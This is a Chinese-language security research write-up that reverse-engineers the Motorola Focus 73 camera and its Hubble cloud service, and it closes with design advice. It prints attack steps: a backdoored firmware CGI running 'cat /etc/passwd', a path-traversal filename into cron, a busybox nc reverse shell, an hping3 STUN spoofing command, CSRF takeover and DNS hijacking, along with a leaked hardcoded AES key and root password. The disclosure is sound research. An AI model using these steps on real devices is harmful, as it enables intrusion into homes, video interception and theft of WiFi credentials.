逆向工程分析:摩托罗拉安全摄像头究竟有多不安全?
ijiaobu
8年前
<p style="text-align:center"><img src="https://simg.open-open.com/show/726dd5291278ee88684983bea8089d59.jpg"></p> <h2>写在前面</h2> <p>这年头,谁家不得防贼防盗防小三?云安全摄像头也就变得越来越盛行了。可虽然叫“安全”摄像头,它们本身的安全性或许并不怎么样。这款摩托罗拉Focus 73户外安全摄像头即是如此。</p> <p>摩托罗拉Focus 73摄像头是一款户外安全摄像头,这款产品实际上是由Binatone制造的。此系列摄像头产品支持通过Hubble服务与云端连接。Hubble服务是建基于Amazon EC2 instance的,有了这项服务,用户就可以远程监控摄像头了,另外也能接收摄像头发出的警告信息。不过Hubble服务是收费的,用户每个月需要掏钱来购买这项服务。</p> <p>下面这篇逆向工程分析就是要揭示,这款摄像头实际上存在诸多安全问题。在不需要访问本地网络的情况下,就能攻入摄像头,获取摄像头所在家用WiFi网络的密码,拿下摄像头的控制权,甚至还能将视频流重定向到黑客自己搭建的服务器中。</p> <h2>硬件分析</h2> <p>从摩托罗拉Focus 73摄像头的拆解来看,其内部采用Nuvoton(新塘)ARM9 SoC(N329x),N79E814AT20 CPU,连接CPU的GPIO接口15针。另外里面还有个微开关,配套应用在进行设置的时候也就能够找到摄像头了。</p> <p style="text-align:center"><img src="https://simg.open-open.com/show/b606029db385da6b973eacd61ce68ed0.jpg"></p> <p>其上的PCB板连接至电动平衡架——该平衡架是可以左右旋转的,不过两侧在90°位置进行阻断,也就是说总共可以翻转180°——其翻转可以通过API进行控制。这些也就是摄像头调整镜头朝向、角度的装置。</p> <p>网络连接方面,此摄像头可通过802.11无线网络连接,也可以通过以太网连接。镜头上方的LED灯是用于指示系统状态的,可通过预设的命令做控制。摄像头工作时,LED灯常亮,进行视频流传输或者发现镜头前的异常情况并发出警报时会闪烁。</p> <h2>软件配置</h2> <p>与摄像头配套的移动应用名为Hubble,可在应用商店中免费下载。这款应用是进行摄像头设置的入口,需要Hubble帐号才能登录使用。此应用也是配置摄像头、通过标准API支持更多IP摄像头加入的唯一“官方”方案。</p> <p>在应用程序安装过程中,程序会提示用户给摄像头插入网线,或点按摄像头上的“配对”按钮,让摄像头进入host模式,开启开放无线网络(没有密码)。随后应用会扫描到名为“CameraHD-[Mac地址]”的网络,并提示用户进行连接。</p> <p>这款摄像头还提供一些未经过滤的网络服务,包括RTSP——这是定制的内部消息服务,另外还包含两个内部的web服务(nuvoton和busybox,web server),其中一个web服务实际上还提供了固件升级,虽然这其实是个隐藏功能。</p> <p style="text-align:center"><img src="https://simg.open-open.com/show/7647f5b0694dae46552e6d856cfeca92.jpg"></p> <p>应用程序连接该开放热点时,还会向nuvoton web服务发出请求,通过Linux的iwlist指令进行无线网络的扫描。扫描结果会以XML的形式返回到应用中,用户就可以从列表中选择自己的网络了。</p> <p>选择相应的无线网络之后,输入WiFi私钥,随后会以基本HTTP身份认证的方式,在开放网络中进行未加密的广播(形如用户名“camera”,密码“000000”)。这里的HTTP认证看起来已经比较古老了,而且早就已经不用了——这种情况在此类设备上其实比较普遍。像/routersetup.html这种页面,都算是比较原始的页面。</p> <p style="text-align:center"><img src="https://simg.open-open.com/show/5d252e296f015b0bff271a2ed874c52a.jpg"></p> <p>首先要对应用通讯做设置,通过Hubble云服务与摄像头做连接。整个过程是通过一个TLS协议下的REST API进行的,该REST API是为命令、警报和实时视频的视频流服务器连接准备的。这里的实时视频还是有些小复杂的:移动应用给Hubble服务器传数据,服务器对视频流会话进行初始化。为了将命令发送到摄像头,Hubble服务器需要在互联网上对摄像头进行定位,还需要通过摄像头所在网络的防火墙,创建入站连接。</p> <p>上面这段话简单说,就是应用程序与服务器之间的配置完成后,应用程序以及服务器建立视频通信。应用程序向服务器提交建立连接的指令,最终服务器通过防火墙连接应用程序。通过NAT路由器进行入站连接的传统方法应该是借由STUN协议进行的。</p> <p>STUN是一种网络协议,它允许位于NAT(或多重NAT)后的客户端找出自己的公网地址,同时可以在两个同时处于NAT 路由器之后的主机之间建立UDP通信。</p> <p>摄像头向Hubble服务器发送常规的heartbeat信息,让服务器知道其当前的外部IP地址以及监听的UDP 端口,同时也是让防火墙允许这样的临时连接存在(时长120s) 。</p> <p>应用程序以及服务器之间的STUN协议的确是比较实用的。摄像头通过常规STUN心跳信息,维持NAT路由器的开放UDP端口。这里的心跳信息也是从Hubble接收ad-hoc指令的方式。</p> <p style="text-align:center"><img src="https://simg.open-open.com/show/a666d0de76230da1d1fd3bef9ed06642.jpg"></p> <p>比如“start streaming video”开始进行视频流,就是个典型的命令,该命令会以AES加密的方式发送到STUN客户端,客户端再用本地密钥对此进行解密,再借由cURL工具转往本地Web服务。</p> <p>本地Web服务器随后会运行本地脚本,在进行视频流时生成随机URL——这个URL是针对远程视频服务器IP地址硬编码生成的。该URL链接再返回到cURL客户端,然后再通过加密的STUN信息返回到Hubble和最终的应用。应用接收到这个公共的URL地址之后,就能连接视频服务器了,也能接收视频数据UDP流。该编码过后的URL地址也可以直接用其它客户端访问。</p> <h2>固件</h2> <p>厂商没有对所谓的固件升级做公开宣传,不过跟很多IoT设备一样,的确有升级固件的可行方案,虽然是比较隐藏的——通过私有URL地址就能进行固件升级。私有URL地址哪儿来呢?其实也不算难,应用里面的字符串有包含一部分URL地址。然后靠产品型号和固件版本来猜测URL的剩余部分,也就搞定了。</p> <p>实际上,我们还发现了一个名为“skyeye”的Linux压缩文件系统,这是由香港摄像头企业Civision写的。以这种连猜带蒙的方式,我们还能获取更多的固件版本,包括历史版本的固件和开发版固件。</p> <p>Civision固件包含了/bin、/etc、/lib文件夹,不过这个固件并非完整的Linux系统。固件本身是挂在/mnt/skyeye载点的。如busybox等核心二进制文件并未包含在内,这些部分是隶属于Nuvoton系统的——Nuvoton没有升级机制,所以里面有一堆很老的二进制文件,有些甚至有10年历史了。</p> <p>从固件中不难观察到,脚本和配置文件中有其他型号IP摄像头的痕迹,比如Focus摄像头家族产品的switch语句等。这表明,该固件并非为这款摄像头产品特别设计。这么做应该是为了节约开发成本。厂商只需要针对这个固件进行特定型号产品的配置就行,在文本文件中定义即可。</p> <p>web服务部分位于/mnt/skyeye/mlswwwn/,采用的haserl CGI脚本直接将HTTP表单参数传往shell环境,用以实现诸如获取日志、升级固件等功能。这个地方是可被脚本利用的。</p> <h2>恶意固件升级</h2> <p>前面我们有提到,系统中实际上存在2个web服务。这2个web服务位于同一个文件夹下(/mnt/skyeye/mslwwwn/),两者的端口号分别是80和8080。后者是个busybox httpd——就像其他一般的httpd一样,限制访问如可执行文件或/cgi-bin/下的脚本等特定文件。</p> <p>但问题在于,端口为80的Nuvoton web服务就没有这方面的限制。所以在8080端口没法看的东西,在80端口就能一览无余,包括ELF二进制文件——这些文件提供了非常有价值的信息,包括架构(ARM32 LE)和可执行环境。</p> <p>这些文件中,其中一个很有趣,文件名为harserlupgrade.cgi。这个文件实际上是固件升级进程需要用到的。由于固件本身并没有加密,也没有签名之类的,我们也就能够对其进行修改,开个独立的后门:<% $FORM_run %>。</p> <p>这样一来,就能通过http://[IP]:8080/fwupgrade.html这个地址,来上传修改过的固件了,方便我们执行各种命令,比如像下面这样:</p> <pre> http://(IP):8080/cgi-bin/script.cgi?run=cat /etc/passwd</pre> <h2>目录穿越与命令注入</h2> <p>如上所述,我们发现了haserlupgrade CGI脚本的漏洞,典型的目录穿越漏洞。脚本(root运行)获取压缩的固件镜像,并将之移至指定位置,在webroot之外。悲剧的是,这个过程不会对表单中的文件名进行验证,所以“new_firmware.tgz”,还有“../../../mnt/skyeye/etc/cron/root”这样都是可以的。</p> <p>我们在测试环境下构建相同的脚本,确认由于haserl不会对输入做验证,所以目录穿越漏洞的确存在。不过问题是无论将固件放到文件系统的哪个位置,都会被移除。顺带一提,我们如果覆盖核心文件(比如/bin/busybox),可以让设备变砖——考虑到这是个安全摄像头,做到这一点还是挺有意义的…</p> <p>其实在固件升级完成后,自动删除固件文件是很正常的事情。我们继续检查其它脚本,发现了针对“fwupgrade”二进制文件(16行)的中断调用(加载到IDA反汇编工具中发现的)。这个二进制文件收到SIGUSR1中断之后,就会从/mnt/cache/new_fwupgrade文件读取128字节,然后将之作为固件文件名。随后再通过shell script来进行固件升级,完成之后就会将固件文件删除。</p> <p>这里,固件的文件名是fwupgrade读取128字节而来的——128个字节也就意味着固件的文件名可以很长,并且可以中途打断这个进程,这样一来上传的文件就不会被删除了——因为中断的时候,获取的文件名还不完整。</p> <p style="text-align:center"><img src="https://simg.open-open.com/show/a121150d5cda575a3ecf27580978391e.jpg"></p> <p>我们选定的文件名就这么来回折腾,直到超出128字节。系统最终将我们的文件放到了“cron”文件夹,这个位置是每分钟都会进行读取和执行工作的。这些重复的文件夹名称可以被随机字符替代,直到超过128字节。</p> <pre> ../../../mnt/skyeye/mlswwwn/../../../mnt/skyeye/mlswwwn/../../../mnt/skyeye/mlswwwn/../../../mnt/skyeye/mlswwwn/../../../mnt/skyeye/etc/cron/root</pre> <p>基于此,利用busybox每分钟进行一次反向shell:</p> <pre> /bin/busybox nc 10.45.3.100 1664 -e /bin/sh</pre> <p>相关cron的这个执行周期需要60s,在等待过程中,我们看到了下面的页面。这是个展示进度的页面,里面有我们选定的文件名,还有文件尺寸,看起来还是觉得挺搞笑的。由于这台设备也没有防火墙,所以我们其实也可以利用任意端口号。</p> <p style="text-align:center"><img src="https://simg.open-open.com/show/fa765b3a86aca8af4fb8acd92f2951d9.jpg"></p> <p>已经获取到了摄像头的root访问权限,其实要破解root密码已经不重要了,但利用工具John还是可以搞定,其密码为“123456”;可知的信息还包括类似FTP这样权限更低的用户账户,不过其实也已经没什么意义了。</p> <p>再往深处挖掘, <strong>我们还在/tmp/wpa.conf文件中发现了好东西:明文的WiFi密码(没错,家庭网络的WiFi密码)</strong> 。另外我们还发现了Civision安全测试网络的出厂无线凭证,就是在重置出厂状态之后会应用的网络。</p> <p>此外,这款摄像头产品还运行了一些有趣的GPLv2开源软件。Nuvoton web服务针对此SoC的声明提到:“开源代码环境会让产品开发更具弹性。”Nuvoton web服务的表现其实很像MJPG流,只不过有用于远程控制的额外功能。从字符串来看,STUN客户端用的应该是PJNATH库,不过应该也有功能方面的扩展(STUN信息内的C&C)。</p> <p style="text-align:center"><img src="https://simg.open-open.com/show/b3d4d2497a0795fb7c57ffe194de5a01.jpg"></p> <p>在摄像头上运行“ps”命令,可以看到大量msloader线程,msloader是掌控摄像头核心功能、警报、指令、控制的。msloader比较复杂,所以可能导致内存泄露的问题,这从cron文件夹那边的动作会致使msloader重启可以看的出来,而且重启的时间比较规律,是在早晨。我们当然不会公布重启的具体时间,要利用这个问题来发起攻击,应该是不需要什么技术就可以做到的。</p> <p><strong>设备日志内的细节信息才真实让人倍感悲剧,比如远程控制STUN信息的AES密钥,和视频剪辑存储的FTP凭证。</strong> 其中列出的错误信息也印证了我们的想法,即用到了开源的PJNATH库。</p> <p>更悲剧的是,日志文件居然可以从web界面下载,不过经过了加密(/bin/cryto)。加密采用的是Linux的crypto API,硬编码的AES密钥:Cvision123459876。也就是说,通过:8080/cgi-bin/logdownload.cgi,到你家的陌生人都可以获取到日志文件和远程命令密钥。</p> <p style="text-align:center"><img src="https://simg.open-open.com/show/77769d30cd52f543d61c7f251bf3d9e1.jpg"></p> <h2>远程STUN攻击</h2> <p>如前文所述,这颗摄像头使用STUN协议与Hubble服务器保持通讯。分析STUN包,会发现16字节的IV(初始化向量)和一段AES加密数据。我们先前就已经有了存储在设备上的AES密钥,还有来自包的IV,也就能够比较轻易地解密命令数据。</p> <p>STUN信息中的数据,用于从“云端”获取加密命令,比如说“start recording(开始录制)”,“change video server(改变视频服务器)”,“move left(左移)”,“reboot(重启)”等。既然能够解密这样的信息了,那么各种针对摄像头的控制也就可行了(用原有的AES密钥篡改包,重新加密构建包)。在摄像头这一边,加密数据本质上只不过是web命令(借由STUN库解析,用cURL传递到HTTP服务器,再生效)。</p> <p style="text-align:center"><img src="https://simg.open-open.com/show/bcd25620f54d99d287a6a4e58608f815.jpg"></p> <p>在对这套机制的深入研究中,我们还发现要重新执行以前的STUN信息也是完全可以的,因为加密命令此处没有超时限制。显然,从上面的分析可以看出,AES密钥就是阻止远程攻击的主要安全机制了。</p> <p>设备中有个名为camregister的二进制文件,其中就有获取设备AES密钥的常规方式。camregister处理摄像头的初始配置,连接Hubble服务器采用SSL连接。它会携Mac地址、固件版本、UDID和其他细节信息,发出HTTP POST请求。随后从Hubble接收AES密钥,保存到设备中。密钥再通过GET API请求进行核查,注册过程就结束了。这个过程中,AES密钥是在Hubble服务器上生成的,要替代这个过程是不大可能的。</p> <p>既然遇到阻碍了,我们尝试再度对STUN信息进行追踪。为了保证STUN会话活跃,NAT路由器WAN接口的UDP端口需要保证开启。针对STUN库进一步分析,我们发现,通过cURL传往内部web服务器的加密数据是没有经过核查的。如果有更多时间,未来我们还会考虑分析远程访问的可行性(因为加密STUN信息缺少输入验证的过程)。</p> <p style="text-align:center"><img src="https://simg.open-open.com/show/5a4b668de606650cb19fe6df55afa5ae.jpg"></p> <h2>盲目远程攻击</h2> <p>如果攻击者已经拿到了AES密钥(通过本地的logdownload.cgi,或者是通过Hubble GET API密钥请求),就完全可以控制这款摄像头了。</p> <p>为了演示这一点,我们写了个简单的Python脚本,这个脚本可以生成有效的加密命令。我们再配合hping3,从NAT路由器外部可以欺骗Hubble STUN服务器。当然绝大部分ISP肯定不会让你这么做,所以我们用一款很流行的NAT路由器的WAN以太网接口做测试。摄像头本身设置为伪装内部IP段(192.168.0.0/24)的无线客户端。所有针对STUN命令的回应,都会回到Hubble,如果没法拦截的话,就需要发个引出回应的指令,进行所谓的盲目攻击。我们还真找到了这样一条命令。</p> <p>API命令“set_wowza_server&value=(ip)”以及“start_rtmp&value=1”,可用于将RTMP视频流重定向到你自己的服务器上。我们采用开源的视频服务Red5。如果盲目攻击成功,就能引导TCP视频流至服务器,端口1935。</p> <pre> python stunning.py “set_wowza_server&value=10.45.3.100” > stunpacket </pre> <pre> hping3 10.45.3.62 --udp -V -p 50610 --spoof stun.hubble.in -s 3478 --file stunpacket --data $(stat -c%s stunpacket) -c 1 </pre> <p>在构建这份脚本的过程中,我们还发现STUN客户端一点都不挑剔,它接受无效的包,或者包含Unix特殊字符、非命令URL的包,所以你可以加密发送各种HTTP GET请求,它照单全收。</p> <h2>CSRF攻击</h2> <p style="text-align:center"><img src="https://simg.open-open.com/show/d0ab36a273bfed0a949268b2c4a4dfc9.jpg"></p> <p>如果没有拿到AES密钥的话,其实还可以进行 CSRF 攻击,通过JavaScript获取控制权。我们特别做了个JavaScript脚本来自动扫描摄像头信息,借由xmlhttprequest执行上面提到的cron动作,然后获取root权限,执行反向shell命令,并上传我们自己的resolv.conf DNS文件,控制DNS,拦截所有的警报。由于浏览器的跨域资源分享限制,这么做原本是不行的,不过跨域资源分享限制并不会阻止我们向其他域发出数据(HTTP POST)。浏览器错误控制台会显示安全信息,向你报告阻止了部分内容,实际上目的也就已经达到了。</p> <p>如果有人查看该页面,情况也就可以想见了。</p> <p style="text-align:center"><img src="https://simg.open-open.com/show/46093051e9ac2483b38913d3eceef27a.jpg"></p> <p>一旦我们掌握了对摄像头的控制,就可以修改DNS配置文件(/etc/resolv.conf),查看云端的upload1.hubble.in,再转到我们自己的web服务器,这样就可以接收JPEG警报图像,和FLV视频内容了,这原本是Hubble的付费用户才有的待遇。媒体是通过HTTP POST未加密的形式,发往/v1/uploads/snap.json或者/v1/uploads/clip.json的,我们就做了个PHP脚本来处理这些媒体文件的上传和存储,等我们闲的时候还可以仔细看看……</p> <p style="text-align:center"><img src="https://simg.open-open.com/show/4b8bf3a6bda196ec31832aace5b84146.jpg"></p> <h2>总结</h2> <p>设计智能设备的,我们还是建议首先要建立起全面的安全准则,比如说输入验证、边界检查、访问控制与认证等。加密通讯的确是有意义的,但如果密钥本身就不安全,那么一切都是白费的。密钥这种东西就是应该得到严密防护的,而不是放在日志里面,或者由一些不受信任的机构设置。要在某个界面进行加密,那就不应该通过未加密的界面解密或传递其中的敏感信息,否则也就没有意义了。</p> <p>一些最基本的安全原则还是要遵守,比如最小权限、深度防御。固件也需要签名或者加密,抵御恶意的固件上传或篡改。如果不这么做,不仅给用户带来安全风险,对企业的业务也很不好。比如我们上面说的这款摄像头,原本打算每个月收服务费,这种赚钱方式也就被打破了。另外,开源的固件有时候的确是不怎么靠谱的。</p> <p> </p> <p>来自: <a href="/misc/goto?guid=4959674437753087832" rel="nofollow">http://www.freebuf.com/vuls/106511.html</a></p> <p> </p>